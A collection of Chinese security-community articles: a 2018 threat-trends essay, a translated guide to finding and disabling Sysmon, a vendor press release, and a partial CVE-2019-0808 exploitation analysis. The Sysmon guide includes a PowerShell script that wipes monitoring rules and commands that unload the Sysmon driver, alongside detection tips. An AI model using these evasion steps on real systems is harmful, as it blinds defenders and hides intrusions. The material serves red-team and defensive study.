2017年，勒索软件继续呈现出全球性蔓延态势，攻击手法和病毒变种进一步多样化。特别是2017年5月全球爆发的永恒之蓝勒索蠕虫（WannaCry）和随后在乌克兰等地流行的NotPetya病毒，使人们对于勒索软件的关注达到了空前的高度。在全球范围内，政府、教育、医院、能源、通信、制造业等众多关键信息基础设施领域都遭受到了前所未有的重大损失。
与WannaCry无差别的显性攻击相比，针对中小企业网络服务器的精准攻击则是隐性的，不为多数公众所知，但却已成为2017年勒索软件攻击的另一个重要特点。统计显示，过去一年国内勒索软件的攻击目标中，至少有15%是明确针对政企机构的。
攻击者的手段也在不断翻新，使用僵尸网络广发垃圾邮件传播只是最初级的方式，服务器入侵、挂马网页、漏洞等技术手段现在已经被大量使用，有组织的攻击者还会结合已泄漏网络军火库、内网横向移动等高级渗透手法，对目标机构的IT供应链薄弱环节进行针对性攻击，令人防不胜防。
从攻击特点来看，勒索软件的免杀和自我传播能力将越来越强，静默期会不断延长；从攻击目标来看，勒索软件攻击的操作系统类型将越来越多，同时定向攻击能力也将更加突出。
此外，勒索软件造成的经济损失会越来越大。以国内《网络安全法》、网络安全等级保护制度、欧盟一般数据保护条例为代表的全球各国数据安全保护法规相继实施后，受害者支付赎金的数量也会越来越多，但由于各种原因，通过支付赎金恢复文件的成功率将大幅下降。
## IPv6、5G等新技术助推物联网的发展，物联网安全威胁日趋严重
由于安全防护薄弱，物联网设备长期以来都是黑客肆虐的游乐场。在过去，安防摄像头、家用路由器、网络打印机等联网设备因为暴露在互联网上而被攻击的案例数不胜数，攻击者不需要很高超的技巧，只需凭借网上公开的默认弱口令、黑客工具就可以控制这些设备。
2016年10月，Mirai僵尸网络控制数百万物联网设备对美国DNS服务商Dyn发起DDoS攻击，致使Twitter、Amazon、华尔街日报等数百个著名网站无法访问，大半个美国的网络服务形同瘫痪。大众第一次见识到不受控制的物联网设备的可怕性。当时Mirai的主要感染手段还只是弱口令，它打开的物联网潘多拉魔盒在2017年继续发展，陆续出现HTTP
81、IoT_reaper等使用nday甚至1day漏洞感染物联网设备组建的僵尸网络，攻击者使用类似手段已经炉火纯青。
2017年还曝光了大量底层威胁，例如影响所有博通WiFi芯片的命令执行漏洞Broadpwn、蓝牙蠕虫级漏洞BlueBorne、任意终端WiFi流量劫持漏洞KCACK，因为涉及面太广而难以修复，都将成为以后的“安全债务”。
2017年下半年，我国政府密集出台了推进IPv6、5G、工业互联网等多项前沿科技发展的政策，将助推物联网更快的普及。但其安全威胁也日趋严重，物联网威胁不止是网络安全问题，还将牵涉到人身安全，我们亟需可实施的防护解决方案。
## 针对关键基础设施的网络攻击升级，攻防两端的对抗将加剧
如果说伊朗核设施被攻击、乌克兰电力设施成为黑客的演武场，我们还只是作为“故事”隔岸观火，那么“永恒之蓝”勒索蠕虫攻击事件则让网络攻击对关键基础设施的影响“全民可视化”，加油站无法加油、公共服务系统无法运行、工厂生产系统瘫痪，直接影响经济社会平稳运行。
2018年以破坏和窃取情报为目的的，针对关键基础设施的攻击将逐渐升级：1）国家力量和恐怖组织、敌对势力推动的，以“网络战”和“恐怖袭击”为目的针对关键基础设施的网络攻击会增加；2）攻击目标从电力、交通等“命脉”设施，延伸到公共服务系统、重要工业企业的生产设施、互联网关键基础设施；3）类似永恒之蓝的武器化的攻击工具会愈演愈烈，攻击手段呈现多样化，针对性的勒索攻击风险加剧，间谍事件增多，新型恶意软件和攻击工具增加。
而与此同时，针对关键设施的安全防护和安全保障也将成为网络安全领域的重点方向，以美国为例，2017年初，特朗普总统签署了《增强联邦政府网络与关键性基础设施网络安全》总统行政令，4月份美国国防部专门投资7700万美元建立新的网络安全计划，专门打击针对电网设施的黑客攻击。9月美国政府还与各电力企业合作建立网络战演习，重点保护电力等基础设施，演习的覆盖范围还延伸到了大银行、华尔街和电信行业。
我国相关主管机构也已经组织了多次针对电力、民航等关键基础设施的攻防演习，从已经实施的《网络安全法》到正在征求意见的《关键信息基础设施保护条例》都将关键基础设施保护上升到了国家战略层面，集中力量、加大投入、创新技术、提升能力将成为保障关键基础设施安全的趋势和方向。
## 人工智能成为网络安全领域的热点，保护人工智能安全和用人工智能技术保护安全两手都要抓，两手都要硬。
如果要评选2017年安全领域最受追捧的技术，人工智能毋庸置疑是其中之一。《安全内参》发布的2017年全球网络安全投融资事件Top100中，与人工智能相关的投融资事件超过15起，融资额度超过9亿美元，分布在威胁检测、终端安全、云安全等不同领域。
预计2018年人工智能在安全领域的利用将会继续受到追捧。
现在黑客已经开始利用人工智能进行网络攻击，不仅扩大黑客的攻击面，也让黑客拥有更多的攻击手段。面对利用人工智能进行的黑客攻击，我们的最佳防御策略也是利用人工智能。网络安全领域使用人工智能技术是有两大原因:
一是随着网络攻击增多，危害程度上升，网络安全专业人才严重不足。二是“0day攻击”等新型攻击形式增多，防范更加困难。
安全投资人认为，人工智能将是下一代安全解决方案的核心。人工智能防御系统能从黑客攻击事件中，学会各种攻击和防御策略。它能设定正常用户行为的基准，然后搜索异常行为，速度比人类要快得多。这比维持一支专门处理网络攻击的安全团队要省钱得多。人工智能也可以用来制定防御策略。
Gartner研究副总裁Tracy Tsai认为，到2020年，将有40
%的安全厂商会声称具备人工智能相关能力。她认为目前人工智能主要应用在如下领域，包括应用程序安全测试，以减少误报；恶意软件检测，用于终端保护；漏洞测试目标选择；SIEM管理；用户和实体行为分析（UEBA）；
网络流量分析等方面。
安全专家认为，传统安全设备如防火墙、杀毒、WAF、漏洞评估等都以防御为导向，这样的模式难以适应云和大数据为代表的新安全时代需求，只有通过海量数据深度挖掘与学习，采用安全智能分析、识别内部安全威胁、身份和访问管理等方式，才能帮企业应对千变万化的安全威胁。但在整个网络安全的领域来说，人工智能相关技术的应用还是处于比较初级的阶段
乔治亚大学终身教授360IoT研究院院长李康则提醒人工智能应用带来的安全风险。他认为公众对人工智能的关注，尤其是深度学习方面，
缺少对安全的考虑，造成人工智能的安全盲点。
实际上，
随着一批深度学习应用逐渐开始变成现实，安全问题也渐渐显现出来。李康认为，人工智能应用面临来自多个方面的威胁：包括深度学习框架中的软件实现漏洞、对抗机器学习的恶意样本生成、训练数据的污染等等。
这些威胁可能导致人工智能所驱动的识别系统出现混乱，形成漏判或者误判，甚至导致系统崩溃或被劫持，并可以使智能设备变成僵尸攻击工具。
## 以培养和提升网络安全实战能力为目标的攻防演练、攻防比赛和网络安全学院成为行业热点
如同军事对抗，“网络安全的本质在对抗，对抗的本质在攻防两端能力较量”，较量就要真刀真枪，实战演练是检验对抗能力的最有效的手段。无论是检验和提高整体防御能力和水平，还是培养人才，基于实景对抗的攻防演练、攻防比赛都将继续成为2018年的行业热点和发展方向。
美国五角大楼是攻防演练的忠实拥趸，从“黑掉国防部”、“黑掉陆军”到“黑掉空军”，演练的层次、深度和效果越来越深入，引发了全球网络安全行业“跟随效应”。
2017年开始，国内攻防演练和攻防比赛的热度开始明显升温，据不完全统计，全年国内各类不同规模的攻防演练超过了100场，各类网络安全攻防比赛的总数近200场，参与比赛人次近60000人。与前几年相比，攻防演练迭代升级趋势明显，1）演练的针对性、演练规模和演练的实战性都有明显提升，尤其是针对特定目标的深度攻防，以验证防御系统的效果，发现潜在的威胁和漏洞。2）演练组织者有国家、行业、地区、银行、电力等关键信息基础设施机构和企业，甚至一些电商、互联网企业、家电企业也开始组织“蓝军”，实施攻防演练。
2018年，攻防演练和攻防会继续成为热点，一位专家在贵阳市攻防演练中的一段话可以成为2018年攻防演练的共同趋势和方向：攻防演练将进一步调整演练方法和演练方式，扩大范围，增强实效；在实战中选好盾、用好矛，分层分类分级解决安全问题，推进演练模式多样化；时间上从年度演练或不定期演练向全年常态化延伸；模式上从比赛式向研究式解决问题延伸；方法上从背靠背向面对面延伸，刚柔相济、重点帮扶，在解决军民融合问题上寻求更大的突破和亮点。
注重实战型网络安全人才培养，采用校企合作模式的网络空间学院也将在2018年继续成为热点，永恒之蓝事件后，整个行业对于实战型人才的极度缺乏引发了这种校企联合培养模式的投资热潮，360等网络安全企业都推出了包括课程体系、实训环境、考试和认证在内的完整的体系系统，可以跟高校、职校无缝对接，快速完成实战型人才培养。
## 云、物联网与数字化推动身份认证技术变革，身份与访问管理（IAM）是一个比较成熟安全领域。但这不意味着没有变化。
2017年的Verizon数据泄露报告显示，81%的数据泄露都与身份被窃取有关系。可以说，随着越来越多用户访问远程或者云端资源，身份已经成为当前最有重要性的攻击对象。
此外，云服务、设备、传统软件的结合呈现了越来越多样化的趋势，如何安全地管理身份验证已经成为了一大难题，即便是大公司也需要帮助。这些趋势推动业界对身份管理领域的投资和重视。
在2017年，身份管理（身份与访问管理）领域受到追捧，发生11笔以上的投融资，包括数笔规模数亿美元的并购与上市融资，以及几笔数千万美元的投资事件。
根据《安全内参》的统计，该领域的重大投融资事件包括SAP
3.5亿美元收购Gigya、金雅拓完成收购3M身份管理业务、Okta公司与SailPoint上市融资2.4亿美元。此外，ForgeRock融资
8800万美元，国内芯盾时代获得近亿元人民币投资。
预计全球的IAM市场预计将出现13.37%的年复合增长率， 预计市场规模将从2016年81.58亿美元增至2022年的173.17亿美元。
IDC认为，两大因素推动身份与访问管理投资，一是提升身份与访问安全，以及改善内部威胁的能力；此外，简化身份与访问管理也是很多机构的诉求。
随着企业往自身内部网络和基于云的网络中添加成千上万的新设备，IAM技术将面临不得不支持数百万台设备(及用户)的需求。
目前，IAM领域的发展，走向云端成为首选，IAM作为服务（IDaaS）成为潮流。选择云端IAM的原因是可靠性、灵活性和运营成本的大幅降低。专家认为，目前云端与本地的IAM已经差别不大，甚至具有更高的可靠性和可扩展性。IDaaS市场预计可以出现25%的增长。
对于IAM产品来说，未来需要在业务部门的便捷和安全部门的安全控制之间取得平衡。目前传统的IAM方案依然根据用户ID来授予访问权限，但随着社交媒体、大数据、BYOD以及物联网的普及，用户在保留ID的同时，会根据其与周围的交互情况，赋予信息访问权限。此外，由于攻击容易复杂，现在正在普及的双因素验证仍略显不足，增加生物识别等新的验证机制。
## 网络安全新常态推动政企机构建立重保常态化，应急小时化的安全体系
2017年5月的永恒之蓝勒索蠕虫事件和《网络安全法》6月1日的正式实施，对于网络安全行业是一个分水岭，广大的政企机构的攻防态势和网络安全监管形势发生了根本变化，我们称之为网络安全的新常态。2018年，网络安全将全面进入这种新常态，政企机构既面临攻击复杂化、漏洞产业化、军火民用化等日益升级的外部安全威胁，又要面对来自安全法制化、重保常态化、应急小时化等监管压力。
“永恒之蓝”事件的爆发是对重大安全事件应急响应的一次考验，它留给响应处置的时间只有24小时，事件处置中的时间频度均是以“小时”为单位的。类似永恒之蓝等大型安全事件一旦发生，要求政企机构迅速做出响应和应急，国家监管力度也将会越来越强。
面对这样的新常态，在过去二三十年中建立的网络安全体系已经不能更好的应对攻防形式的变化，传统完全依赖安全设备和技术的严防死守无法应对国家背景的高级威胁，防护重点需要过渡到加强检测和响应，除了顶层设计，在技战术上也要进行及时的转变，坚不可摧、严防死守的‘马奇诺防线’是不存在的，未来敌方利用的不少漏洞可能是未知的，攻击方式也可能仅出现一次，在这种情况下，不能期望在对方攻进来之前就可以发现和拦截阻断。因此，建立起重保常态化、应急小时化的新一代安全体系是政企机构应对网络安全新常态的有力补充。
## 安全实施演变成安全能力交付，政企机构从购买产品到购买服务，安全服务化将快速成长
安全服务化是一个近几年来早已经出现的概念，不少安全机构和企业也致力于推动这一趋势的发展。然而，就近几年来的网络安全市场来说，更多的政企用户更倾向于购买安全设备，把硬件盒子放在企业，能够让人更放心。
而随着网络安全威胁形势的不断变化，以及越来越严苛的网络安全监管环境，政企用户对于安全的需求在不断增强，他们的安全需求从基本合规逐步转向真正的安全防护需求。从2017年已经出现的几起政企服务案例来看，已经有政企客户在网络安全采购中从购买产品转到了购买服务，在与安全厂商签定的网络安全合同中安全服务成为了最主要内容，而安全的软硬件产品则成为了配合选项。
一方面是安全防御技术不断创新，大数据安全、威胁情报、机器学习、云安全被越来越多的应用于政企用户的安全防护体系中，新的技术、新的知识对于企业现有的安全管理人员来说是一种挑战；另一方面，在面对越来越多的高级威胁、重大安全事件中，政企用户自身缺少专业的安全人才来更及时、有效的应对。
2018年，政企用户在网络安全方面的支出将进一步增加，以服务的形式购买安全能力、以云的方式交付安全能力将成为趋势。Gartner认为，“安全服务特别是IT外包、咨询与实施部署服务将成为增长速度最快的细分领域。不过在另一方面，硬件支持服务增长速度缓慢，这主要是由于虚拟设备、公有云以及安全解决方案的各类软件即服务（简称SaaS）版本持续普及给其带来巨大冲击。这意味着客户对于附加硬件支持的整体需求将不断下降。”
## 隐私保护从争议话题开始迈向通过法律和技术方案的务实推进
随着我国信息化建设的不断推进和互联网应用的日趋普及，在推动社会发展和技术变革的同时，也为企业和个人信息保护带来了新的挑战。个人信息在被各类主体挖掘和利用的同时，因个人信息泄露所引发的侵权、欺诈等信息犯罪行为日益严重，已为全社会造成了巨大损失，隐私保护、个人信息保护已经成为争议的热点话题。
为应对云计算、大数据、移动互联网及跨境数据处理等应用场景所带来的新挑战，2016 年欧盟通过了新的数据保护法案《一般数据保护条例》（General Data
Protection Regulation，GDPR）并将于 2018
年5月生效。GDPR对公司总部位于欧盟国家的企业，以及与欧盟公民相关并拥有公民个人数据的全球企业同样有效。Gartner预测到2018年，超过50%的公司将受到GDPR影响，且将会制造了新一轮热点驱动2018年数据安全的市场投入增加65%。
目前我国没有统一的个人信息保护法，虽然《网络安全法》作为我国网络领域的基础性法律将个人信息保护列入其中，既是出于国家网络空间主权和网络安全考虑，也是对当前个人网络信息安全严峻现实的直接回应，但远不能全方位地保护个人信息安全，也存在个人信息保护的法律漏洞。但是通过“徐玉玉案”等一系列案件给社会带来的不良影响，使人们充分意识到了个人信息泄露和滥用所带来的严重社会危害，同时也催生个人信息保护立法落地。
## 数据成为数字化转型时代的“石油”，数据安全保卫战将全面打响
市场研究公司IDC预测全球数字化转型技术2018年的支出将在2017年1.1万亿美元的基础上增加16.8%，达到近1.3万亿美元。数字化转型加速了互联网、云计算、大数据、物联网、人工智能等技术在整个国家和社会的应用，也由此带来了国家经济社会运行和发展对于数据的依赖，数据由此成为数字化转型时代石油一样的战略型资源。
对于数据的觊觎成为网络攻击的重要目标之一，这也是2016年以来勒索病毒爆发式增长的原因。对2017年全球发生的近300起重大安全事件分析发现，其中75%的事件与数据泄露、数据窃取和数据勒索有关，而且有趣的是，数据泄露越来越丰富，我们能想象到或者接触到的数据都泄露了。
根据Verizon数据泄露调查报告,75%的数据泄露是外部人所为，也就是各种网络攻击造成的，而其他25%是由内部威胁造成的，所以数据安全面临内忧外患。我们近期对近50位国内部委和重要行业网信负责人的调研发现，数据安全是他们最头痛的事，也是2018年要重点做好的事情，尤其是一些关系国家安全、经济发展和社会稳定的关键机构和命脉企业，把数据管好、保护好成为网络安全工作的第一要务。
《网络安全法》2017年6月1日正式实施依赖，已经发生了多起企业、机构和平台由于数据保护不利或者因数据保护相关法规执行不到位被处罚的案例。12月8日在中共中央政治局实施国家大数据战略进行第二次集体学习中，习近平总书记强调，要切实保障国家数据安全。要加强关键信息基础设施安全保护，强化国家关键数据资源保护能力，增强数据安全预警和溯源能力。可以预见，在业务需求和监管双重压力下，2018年，数据安全保卫战将在网络安全领域全面打响。 | 社区文章 |
# 如何规避Sysmon
##### 译文声明
本文是翻译文章，文章来源：darkoperator.com
原文地址：<https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
Sysmon是Mark Russinovich编写的一款工具，我曾在多篇文章中介绍过这款工具，也写过名为`Posh-Sysmon`的一个PowerShell模块来辅助用户生成相应的配置文件。Sysmon的主要目的是跟踪主机上是否潜在恶意行为，底层原理与Procmon类似。Sysmon与其他Sysinternals工具有所不同，会实际安装到主机上，将信息保存到Windows事件日志（Eventlog）中，以便用户使用SIEM（Security
Information and Event Management，安全信息及事件管理）工具收集相应信息。
Sysmon可以记录如下信息：
* 进程创建及结束
* 进程修改文件创建时间
* 网络连接
* 驱动加载
* 镜像加载
* CreateRemoteThread调用
* 以Raw访问方式读取文件
* 某个进程读取另一个进程空间
* 文件创建
* 注册表事件
* 管道事件
* WMI永久事件（Permanent Events）
所有日志都会根据我们在使用`sysmon.exe`工具时指定的规则来收集并保存到注册表中。大多数企业环境会通过应用包管理方式来部署Sysmon，然后通过注册表的二进制bob推送方式将规则推送至目标主机。
## 二、定位Sysmon
作为红方或者渗透测试人员，我们首先要判断目标系统中是否存在Sysmon。通常情况下，当我们将Sysmon安装到系统中时，该工具会创建一个服务来加载驱动，对应的注册表键值中会存储服务及驱动的配置信息，安装事件清单（manifest）以定义事件并创建事件日志，将生成的事件存放在事件日志中。因此，我们可以根据多个位置来判断Sysmon的安装状态。遗憾的是，大多数攻击者都是惯性思维，喜欢使用最简单的解决方案。在目标定位方面，攻击者通常会选择如下一种方案：
* 枚举进程
* 枚举服务
* 枚举`C:\Windows\System32\Drivers`下的驱动
最常见的操作就是枚举驱动，因为像Cylance之类的EDR解决方案会根据被调用的方式来隐藏服务名称，并且某些解决方案并没有运行进程。
正是考虑到这一点，Sysmon提供了一种功能，用户可以修改其可执行文件以及驱动的名称，在当前系统中混淆安装情况。
为了修改服务以及进程的名称，我们只需要重命名Sysmon可执行文件的名称即可。这一点非常有用，但从如下输出中，我们可以发现驱动名并没有发生改变：
PS C:\Users\carlos\Desktop> .\HPPrinterController.exe -i
System Monitor v8.00 - System activity monitor
Copyright (C) 2014-2018 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com
HPPrinterController installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting HPPrinterController..
HPPrinterController started.
为了修改驱动名，我们需要在安装过程中使用`-d`参数，输入指定的名称：
PS C:\Users\carlos\Desktop> .\HPPrinterController.exe -i -d hpprndrv
System Monitor v8.00 - System activity monitor
Copyright (C) 2014-2018 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com
HPPrinterController installed.
hpprndrv installed.
Starting hpprndrv.
hpprndrv started.
Starting HPPrinterController..
HPPrinterController started.
在卸载和更新服务的配置信息时，我们还需要注意到一点：我们必须用选定的名称来使用和拷贝Sysmon，并且配置数据所对应的注册表路径也需要使用同一个名称，这一点在Sysmon的升级和新规则应用方面非常重要。
我们可以使用`fltmc.exe`查看已被系统加载的过滤器驱动，观察驱动的altitude（高度）编号。如果我们的agent是Meterpreter、Beacon或者其他支持Mimikatz的载荷，那么我们也可以在Mimikatz中使用`misc::mflt`命令，在内存中列出驱动的altitude号。Sysmon驱动的altitude编号为`385201`。
使用Mimikatz的执行结果如下所示：
mimikatz # misc::mflt
0 3 385201 hpprndrv
0 0 244000 storqosflt
0 1 189900 wcifs
0 0 180451 CldFlt
0 0 141100 FileCrypt
0 1 135000 luafv
0 1 46000 npsvctrig
0 3 40700 Wof
0 4 40500 FileInfo
使用`fltMC.exe`的执行结果如下所示：
PS C:\> fltMC.exe
Filter Name Num Instances Altitude Frame
------------------------------ ------------- ------------ ----- hpprndrv 3 385201 0
storqosflt 0 244000 0
wcifs 1 189900 0
CldFlt 0 180451 0
FileCrypt 0 141100 0
luafv 1 135000 0
npsvctrig 1 46000 0
Wof 3 40700 0
FileInfo 4 40500 0
如果我们处在更加复杂或者更为受限的环境中，运行`fltmc.exe`或者加载Mimikatz可能会触发安全警报。此时我们可以采用一种稍微不太准确的方法来判断Sysmon的事件日志文件是否存在。这至少可以让我们了解目前系统中是否存在Sysmon，或者是否曾经安装过Sysmon。具体方法就是检查`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational`这个注册表路径。
PS C:\> ls HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels | Where-Object {$_.name -like "*sysmon*"}
Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels
Name Property
---- -------- Microsoft-Windows-Sysmon/Opera OwningPublisher : {5770385f-c22a-43e0-bf4c-06f5698ffbd9}
tional Enabled : 1
Isolation : 2
ChannelAccess : O:BAG:SYD:(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x1;;;BO)(A;;0x1;;;SO)(A;;0x1;;;S-1-5-32-573)
MaxSize : 67108864
MaxSizeUpper : 0
Type : 1
我们也可以检查注册表中的其他特征。Sysinternals工具在首次使用时会弹出许可证窗口，接受许可证就会在注册表中留下相关键值。对于Sysmon，这个键值位于当前用户的`HKCU\Software\Sysinternals`路径中：
PS C:\> ls HKCU:\Software\Sysinternals | Select-Object name
Name
---- HKEY_CURRENT_USER\Software\Sysinternals\Process Explorer
HKEY_CURRENT_USER\Software\Sysinternals\Process Monitor
HKEY_CURRENT_USER\Software\Sysinternals\sigcheck
HKEY_CURRENT_USER\Software\Sysinternals\Streams
HKEY_CURRENT_USER\Software\Sysinternals\Strings
HKEY_CURRENT_USER\Software\Sysinternals\System Monitor
HKEY_CURRENT_USER\Software\Sysinternals\ZoomIt
如果用户修改了Sysmon的名称，也有一种办法能够定位这个服务。Sysmon对服务的描述为`System Monitor
service`，即使用户修改了名称，这个描述依然保持不变。因此我们可以使用WMIC或者`sc.exe`，快速找到这个服务：
PS C:\> Get-CimInstance win32_service -Filter "Description = 'System Monitor service'"
ProcessId Name StartMode State Status ExitCode
--------- ---- --------- ----- ------ -------- 2220 HPPrinterController Auto Running OK 0
## 三、规避Sysmon
### 绕过规则
我们有两种方法可以规避Sysmon。第一种方法直接寻找其规则中的盲点，另一种就是完全禁用规则。Matt
Grabber经过逆向分析后，公开了注册表键值的具体格式。HarmJ0y开发了名为[Seatbelt](https://github.com/GhostPack/Seatbelt)的一款.Net
assembly（程序集）工具，我们可以在Cobalt
Strike中使用该工具来加载内存中的配置信息。如果我们导出了注册表键值，Matt也提供了一个[函数](https://github.com/mattifestation/PSSysmonTools/blob/master/PSSysmonTools/Code/SysmonRuleParser.ps1)用来解析导出的数据。了解具体规则后，我们就可以围绕这些规则想解决办法。
### 删除配置信息
我们可以清除注册表中的规则表项，此时Sysmon会发现注册表已发生变化，自动重新加载配置，而由于配置中没有任何规则，因此Sysmon会暂时失效，具体时长取决于配置的维护方式。如果配置由配置管理系统（如Ansible、Chef或者DSC）来管理，那么可能需要几秒或者几分钟才能将配置恢复为原始状态；如果使用GPO来管理，那么当GPO更新时，可以在90分钟内恢复原始状态。为了解决这个问题，我们可以使用各种Windows技术（如.Net、VBS、PE文件等）创建VMI临时性[Consumer](https://docs.microsoft.com/en-us/windows/desktop/wmisdk/receiving-a-wmi-event)（消费者）来监控相应的注册表项，当发现修改操作时，则删除修改数据或者重新设置表项内容。之所以使用临时的Consumer，是因为大多数安防解决方案会重点关注正在创建或修改的WMI永久事件。
$query = "SELECT * FROM RegistryKeyChangeEvent " +
"WHERE Hive ='HKEY_LOCAL_MACHINE' " +
"AND KeyPath ='SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters'"
Register-WMIEvent -Query $query -Action {
Write-host "Sysmon config updated, deleting config."
Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters" -Name "Rules" }
需要注意一点，此时Sysmon会恢复默认配置，因此会记录进程创建和进程终止事件。
如果我们想跟踪WMI过滤器的使用行为，那么如上操作会在`WMI-Activity/Operational`中留下日志，事件ID为`5860`，`EventData`中的字段表明可能的原因为`Temporary`，日志中同样包含生成该事件的进程ID值。
有种例外情况，如果我们使用的是Sysmon 8.0，配置中包含针对进程创建和终止的每个过滤器的规则名（Rule Name），那么事件中则会包含空白的规则名。
我们也可以通过GPO在注册表键值上设置审核规则，在Security日志中生成[4687](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4657)事件，记录下修改注册表键值的用户及进程信息。如果该信息表明目标进程不是Sysmon，也不是因为GPO更新导致注册表修改，那么我们可以在SIEM中触发警告。
### 卸载SysmonDrv驱动
我们可以采取的另一个操作就是卸载SysmonDrv驱动，该驱动可以为Sysmon提供关于所有磁盘操作的信息，然后将信息写入事件日志中。如前文所述，该驱动有个唯一的altitude编号，如果我们以管理员权限运行，就可以卸载该驱动，然后Sysmon基本上就会完全处于失效状态。我们可以使用`fltmc.exe`工具来卸载驱动，如下所示，我们通过altitudde编号识别出了隐藏驱动，并成功卸载该驱动：
PS C:\> fltMC.exe
Filter Name Num Instances Altitude Frame
------------------------------ ------------- ------------ ----- hpprndrv 3 385201 0
storqosflt 0 244000 0
wcifs 1 189900 0
CldFlt 0 180451 0
FileCrypt 0 141100 0
luafv 1 135000 0
npsvctrig 1 46000 0
Wof 3 40700 0
FileInfo 4 40500 0
PS C:\> fltMC.exe unload hpprndrv
PS C:\> fltMC.exe
Filter Name Num Instances Altitude Frame
------------------------------ ------------- ------------ ----- storqosflt 0 244000 0
wcifs 1 189900 0
CldFlt 0 180451 0
FileCrypt 0 141100 0
luafv 1 135000 0
npsvctrig 1 46000 0
Wof 3 40700 0
FileInfo 4 40500 0
Sysmon会自动将上述操作作为执行的最后一条命令记录下来，因此我们可以在SIEM中将该特征作为触发特征，当执行此命令、使用卸载参数时就触发告警。
`System`日志中也会生成ID为1的事件，其中`Source`字段的值为`FilterManager`，`Task
Category`字段的值为`None`。
## 四、总结
在模拟对抗环境中识别目标服务时，我们需要通过多个指标定位目标，当成功识别后，也要获取多维度的信息，这些信息可以帮助我们分析对方网络团队的技术成熟度以及水平。
希望本文能给大家提供有价值的信息。 | 社区文章 |
# 标准引领 | 青藤入选网络安全产品互联互通首批试点单位
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，由中国网络安全产业联盟（CCIA）主办，网络安全产品互联互通标准工作组承办、中国电子技术标准化研究院协办的“2023年CCIA网络安全技术应用专题研讨会——网络安全产品互联互通专题会”在北京成功举办，
**青藤入选网络安全产品互联互通联盟技术规范第一批试点单位。**
网络安全产品互联互通不仅有利于提升用户体验和管理效率，更有利于网络安全企业聚焦于精进技术、完善服务，推动产业高质量发展。为此，中国网络安全产业联盟成立网络安全产品互联互通标准工作组，支撑开展网络安全产品互联互通工作。
青藤主要聚焦于关键信息基础设施领域的安全建设，为用户提供新一代的安全产品和服务，覆盖云安全、数据安全、供应链安全、流量安全等众多领域。在安全产品研发和部署过程中，青藤在不同维度开展了产品互联互通实践，帮助用户提升了未知威胁识别和联动处置等能力。基于产品的典型代表性和广泛应用，青藤积极响应联盟号召，通过提报标准修订意见、持续关注标准进展、配合后续验证测试工作等途径，支撑多项网络安全产品互联互通相关工作。目前，青藤已经参与国标《信息安全技术
网络安全产品互联互通框架》编制工作，以及《信息安全技术 网络安全产品互联互通 告警信息格式》和《信息安全技术 网络安全产品互联互通
资产信息格式》两项联盟标准的试点验证工作。
**重点活动推荐**
**2023年4月18日，青藤将举办“云时代，安全变了——2023云安全高峰论坛暨青藤品牌升级发布会”，会上青藤将正式发布：**
**（1）“青藤品牌新定位及Slogan”**
**（2）“青藤-先进云安全整体解决方案”及“新产品”**
**（3）国内首个“基于AI新一代入侵检测能力模型”**
**（4）国内首个《云安全能力成熟度全景图》报告**
参会报名通道 | 社区文章 |
# **漏洞概述**
CVE-2019-0808是微软在2019年3月修补的内核漏洞，该漏洞只影响Windows 7和Windows Server
2008，漏洞允许攻击者提升权限并在内核模式下执行任意代码。在谷歌威胁分析团队的报告中发现该漏洞用于进行Chrome沙箱逃逸，和CVE-2019-5786
Chrome 远程代码执行漏洞配合使用。
# **补丁分析**
通过对Win7上3月份的补丁进行对比可以知道问题出现在xxxMNFindWindowFromPoint函数中，这次的补丁只要对xxxSendMessage函数的返回值进行了检查，如果返回的不是菜单窗口就失败，还检查了tagPOPUPMENU和tagPOPUPMENU中的spmenu是否为空，为空则失败。所以导致漏洞的原因很可能就是tagPOPUPMENU或者tagPOPUPMENU中的spmenu为空。通过对xxxMNFindWindowFromPoint、NtUserMNDragOver和MNGetpItemFromIndex函数进行引用分析，知道可以通过拖动菜单项来触发相关漏洞函数。漏洞成因可以参考360的报告，这里不做详细分析。
# **漏洞利用**
可利用性分析
通过分析漏洞触发流程知道xxxMNUpdateDraggingInfo函数获得窗口对象后，会通过MNGetpItem函数访问其成员tagPOPUPMENU对象，MNGetpItem函数又会继续访问tagPOPUPMENU对象的spmenu成员，从而造成零指针解引用漏洞。在MNGetpItem中会调用函数MNGetpItemFromIndex，该函数接受菜单对象指针和请求的菜单项索引为参数，根据菜单对象提供的信息返回一个菜单项。
在MNGetpItem中调用函数MNGetpItemFromIndex，而MNGetpItemFromIndex参数a1就是传入的tagPOPUPMENU对象的spmenu成员，spmenu成员是一个tagMENU结构。在漏洞触发的情况下spmenu成员为空，所以MNGetpItemFromIndex中的`*(_DWORD
*)(a1 + 52)`会触发零指针解引用漏洞。在Windows7 32位的系统中还未引入零页内存保护机制，所以在Windows7
32位的系统中可以通过申请零地址并赋值来通过MNGetpItemFromIndex代码中的取值以及后续代码取值和校验。通过申请零地址可以对零地址的值进行控制，也就可以控制`*(_DWORD
*)(a1 +
52)`的值，a2的值也可以通过全局的消息钩子函数来获取或者修改值，达到控制MNGetpItemFromIndex返回任意值的目的。对于申请零地址，常规的内存申请函数像VirtualAlloc是不允许在小于0x00001000的地址分配内存，只有使用函数NtAllocateVirtualMemory来完成对零地址的分配。通过上面的分析知道MNGetpItemFromIndex返回值result是可控的，而返回的值又是一个菜单项，所以result是一个指向菜单项结构的指针。如果在后续的代码中能找到修改菜单项数据的代码，就可以先通过修改零地址的值来控制result指向任意地址，再通过后续代码修改任意地址的数据，来达到任意代码写的目的。
